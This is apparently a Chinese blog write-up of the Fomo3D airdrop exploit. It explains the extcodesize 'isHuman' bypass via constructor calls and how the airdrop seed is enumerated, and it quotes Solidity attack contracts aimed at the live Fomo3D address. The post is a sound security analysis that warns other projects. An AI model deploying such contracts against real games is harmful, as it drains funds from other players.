Fomo3D随机数生成机制攻击

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/u011721501/article/details/82684747

0x00 概述

Fomo3D是一个非常流行的,并且成为币圈现象级的资金盘游戏。据笔者所知,目前国内大部分资金盘游戏都是从Fomo3D的几个合约基础上进行的修改。然而,在7月23号,国外著名社区reddit上有人发现了Fomo3D的一处漏洞[1],攻击者可以利用一定的手段来绕过Fomo3D的防护,从而可以无限制命中空投来进行牟利。

本文主要分析这个攻击的具体原理,并提醒广大山寨Fomo3D的项目方,需要小心编写代码,以免上线即归零。

0x01 Fomo3D的空投机制

一切还得从Fomo3d的一个函数修改器说起:

这里使用了extcodesize指令来获取某个以太坊地址的code字符串长度。我们都知道以太坊账户分为两种,一种是普通账户,一种是合约账户,合约账户的codesize必然是大于0的,而普通账户的则为0,因此通过这种方式来判断某个地址是否是合约地址。

这里使用了extcodesize指令来获取某个以太坊地址的code字符串长度。我们都知道以太坊账户分为两种,一种是普通账户,一种是合约账户,合约账户的codesize必然是大于0的,而普通账户的则为0,因此通过这种方式来判断某个地址是否是合约地址。

因此这个isHuman方法就是Fomo3D用来防止某些人用合约来玩这个游戏的,但是这个判断靠不靠谱呢?

自然是不靠谱的,我们看看extcodesize源码实现:

func opExtCodeSize(pc *uint64, evm *EVM, contract *Contract, memory *Memory, stack *Stack) ([]byte, error) {
    a := stack.pop()
​
    addr := common.BigToAddress(a)
    a.SetInt64(int64(evm.StateDB.GetCodeSize(addr)))
    stack.push(a)
​
    return nil, nil
}

这里获取长度是从状态数据库中获取的,因此只有合约创建好之后这个判断才有效。

如果是某个合约的构造函数中执行请求Fomo3D,那么在构造函数执行过程中,合约还处于部署阶段,因此extcodesize执行的结果还是为0,从而就可以绕过这个判断。

我们再来看看执行空投逻辑的airdrop函数:

可以看到,seed的计算严重依赖于以太坊区块的数据,比如timestamp, difficulty, coinbase, gasLimit, number等字段,这些都是交易中固定的。唯一的变量就是这里的msg.sender。但是对于合约账户来说,我们可以自己写个合约来动态创建合约,对seed进行枚举,如果发现符合条件的seed,就可以调用fomo3d的airdrop来获取空投,即百分之百的几率可以获取到空投。

由于普通账户不便于进行枚举,主要过程不好自动化,操作成本太大,所以这才有前面的isHuman来对合约账户进行拦截。

正常来讲,Fomo3d的空投是按照充值ETH的数额来决定的,数额越大,获取空投的机会就越多,但是通过上面的攻击,我们可以以很小的数额来撸空投获利。

 

0x02 攻击合约解析

在参考链接[2]中,reddit上给出了具体的攻击代码(该代码不能直接成功执行攻击)。

入口函数是beginPwn,这里首先调用了checkPwnData来获取出猜解命中空投条件的攻击成本、合约地址以及猜解次数。然后如果攻击成本大于收益,那么就执行deployContracts执行具体的攻击。

function beginPwn() public onlyAdmin() {
    uint256 _pwnCost;
    uint256 _nContracts;
    address _newSender;
    (_pwnCost, _nContracts,_newSender) = checkPwnData();
        
	//check that the cost of executing the attack will make it worth it
    if(_pwnCost + 0.1 ether < maxAmount) {
       deployContracts(_nContracts,_newSender);
    }
}

我们看一下checkPwnData的逻辑:

function checkPwnData() private returns(uint256,uint256,address) {
    //The address that a contract deployed by this contract will have
    address _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, address(this), 0x01)));
    uint256 _nContracts = 0;
    uint256 _pwnCost = 0;
    uint256 _seed = 0;
    uint256 _tracker = fomo3d.airDropTracker_();
    bool _canWin = false;
    while(!_canWin) {
        /* 
        * How the seed if calculated in fomo3d.
        * We input a new address each time until we get to a winning seed.
        */
        _seed = uint256(keccak256(abi.encodePacked(
                (block.timestamp) +
                (block.difficulty) +
                ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) +
                (block.gaslimit) +
                ((uint256(keccak256(abi.encodePacked(_newSender)))) / (now)) +
                (block.number)
        )));

        //Tally number of contract deployments that'll result in a win. 
        //We tally the cost of deploying blank contracts.
        if((_seed - ((_seed / 1000) * 1000)) >= _tracker) {
            _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, _newSender, 0x01)));
            _nContracts++;
            _pwnCost+= blankContractCost;
        } else {
            _canWin = true;
            //Add the cost of deploying a contract that will result in the winning of an airdrop
            _pwnCost += pwnContractCost;
        }
    }
    return (_pwnCost,_nContracts,_newSender);
}

这里需要了解合约中创建子合约时,子合约的地址生成机制,这些子合约的地址都是根据母合约的地址衍生出来的,公式如下:

new_address = address(keccak256(0xd6, 0x94, address, nonce))
new_address2 = address(keccak256(0xd6, 0x94, address, nonce++))

这里的nonce第一次为0x01,之后每次创建一次子合约就会递增。

当枚举出符合条件的seed之后,就返回枚举的次数以及命中的地址和攻击的花销,因为部署合约和跨合约调用是需要消耗gas的,因此要看攻击本身是否是划算的。

最后调用deployContracts执行攻击:

function deployContracts(uint256 _nContracts,address _newSender) private {
    for(uint256 _i; _i < _nContracts; _i++) {
        if(_i++ == _nContracts) {
            address(_newSender).call.value(0.1 ether)();
            new AirDropWinner();
        }
    	new BlankContract();
    }
}

这里的new BlankContract()是用来使得nonce递增的,然后满足了递增次数之后就创建AirDropWinner执行攻击:

contract AirDropWinner {
    FoMo3DlongInterface private fomo3d = FoMo3DlongInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1);
    constructor() public {
        if(!address(fomo3d).call.value(0.1 ether)()) {
           fomo3d.withdraw();
           selfdestruct(msg.sender);
        }
    }
}

可以看到这里在构造函数中对fomo3D发起了转账操作,从而绕过了isHuman判断,完成了攻击。

具体的攻击交易:

需要注意的是,当空投池大于一定数值的时候才有利可图。这是因为发起一次交易本身需要gas也很昂贵,如果玩游戏的人越多,那么就越有利可图。

 

Reference

[1] https://www.reddit.com/r/ethereum/comments/916xni/how_to_pwn_fomo3d_a_beginners_guide

[2] https://www.reddit.com/r/ethdev/comments/91fpqd/fomo_3d_exploit_improved_clearly_explained

没有更多推荐了,返回首页